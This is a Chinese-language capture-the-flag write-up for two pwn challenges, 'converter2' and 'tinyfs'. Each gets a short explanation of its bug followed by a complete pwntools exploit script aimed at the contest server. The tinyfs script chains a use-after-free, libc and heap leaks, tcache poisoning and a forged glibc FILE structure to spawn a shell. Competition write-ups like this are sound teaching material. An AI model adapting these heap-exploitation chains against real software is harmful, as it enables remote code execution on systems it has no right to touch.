摸了两道PWN就下号补作业去了(悲

converter2

c32rtomb 函数若传入的的UTF-32字符非法会返回-1,利用这点可以使指针指向数组负下标的位置。往 utf32_hexstr[3] 的尾部写一组UTF-32字符的数据,使其解析 utf32_hexstr[3] 时解析多一组数据,在后续 printf 时就能将flag带出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/python2
from pwn import *

# io = process('./chall')
io = remote('34.146.195.242', 40004)

ru = lambda x : io.recvuntil(x, drop = True)
sa = lambda a, b : io.sendafter(a, b)
sla = lambda a, b : io.sendlineafter(a, b)
ia = lambda : io.interactive()

bear = '0' * 3 + '1f98a'
junk = 'aaaaaaaa'
a_a = '0' * 6 + hex(ord('a'))[2:]
a_8 = '0' * 6 + hex(ord('8'))[2:]
a_9 = '0' * 6 + hex(ord('9'))[2:]
a_f = '0' * 6 + hex(ord('f'))[2:]
a_1 = '0' * 6 + hex(ord('1'))[2:]
a_0 = '0' * 6 + hex(ord('0'))[2:]
tg0 = a_0 * 3 + a_1 + a_f + a_9 + a_a + a_8
tg1 = a_0 * 3 + a_1 + a_f + a_9
tg2 = a_0 * 3 + a_1 + a_f + a_9 + a_8 + a_a
sla('utf32be? (hexstring)> ', junk * 22 + tg0)
sla('utf32be? (hexstring)> ', junk * 14 + tg1 + tg2)
sa('utf32be. (hexstring)> ', bear * 31)
ru('{')
flag = ru('}')
flag = 'TSGCTF{' + flag + '}'
success(flag)
ia()

tinyfs

cd 时使用绝对路径会将该目录的信息储存在缓存数组里,在 rm 父目录后不会删除其子目录在缓存数组里的数据,即可以继续利用缓存里的子目录通过 cd .. 访问到原本已经删除的父目录,同时因为删除父目录时 free 目录内的文件后并没有清空文件指针,所以可以造成UAF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#!/usr/bin/python2
from pwn import *

context.binary = 'chall'
libc = ELF('libc-2.37.so', checksec = False)
# io = process('./chall')
io = remote('34.146.195.242', 31415)

rc = lambda n : io.recv(n)
sa = lambda a, b : io.sendafter(a, b)
sla = lambda a, b : io.sendlineafter(a, b)
ia = lambda : io.interactive()
uu64 = lambda x : u64(x.ljust(8, '\x00'))
libc_os = lambda x : libc_base + x
heap_os = lambda x : heap_base + x
libc_sym = lambda x : libc_os(libc.sym[x])

def cmd(s):
sla('$ ', s)

def mkdir(name):
cmd('mkdir ' + name)

def touch(name):
cmd('touch ' + name)

def cd(path):
cmd('cd ' + path)

def rm(name):
cmd('rm ' + name)

def ls(name):
cmd('ls ' + name)

def cat(name):
cmd('cat ' + name)

def mod(name, content):
cmd('mod ' + name)
sa('Write Here > ', content)

mkdir('dir1')
cd('dir1')
touch('file1')
touch('file2')
touch('file3')
touch('file4')
touch('file5')
touch('file6')
touch('file7')
touch('file8')
touch('file9')
mkdir('dir11')
cd('/dir1/dir11')
cd('..')
cd('..')
rm('dir1')
cd('/dir1/dir11')
cd('..')
cat('file1')
libc_base = uu64(rc(6)) - (0x7f1cf7937ce0 - 0x7f1cf771e000) + 0x23000
cat('file9')
heap_base = (uu64(rc(5)) << 12) - 0x1000
key = heap_base >> 12

io_list = libc_os(0x1f7680)
victim = heap_os(0x55fc23c37960-0x55fc23c37000)
vt = libc_os(0x7f8f62af2240 - 0x7f8f628ff000)
sys_addr = libc_sym('system')

mod('file3', flat(key ^ (io_list-0x10)) + '\n')
cd('..')
mkdir('dir2')
touch('file1')
pld = flat({
0: ' sh\x00',
0x58: sys_addr,
0x88: heap_base + 0x100,
0xa0: victim - 0,
0xc0: 1,
0xd8: vt-0x40,
0xe0: victim-0x10,
}, filler = '\x00')
mod('file1', pld + '\n')

touch('file2')
mod('file2', flat(victim) * 6 + '\n')
cmd('exit')
ia()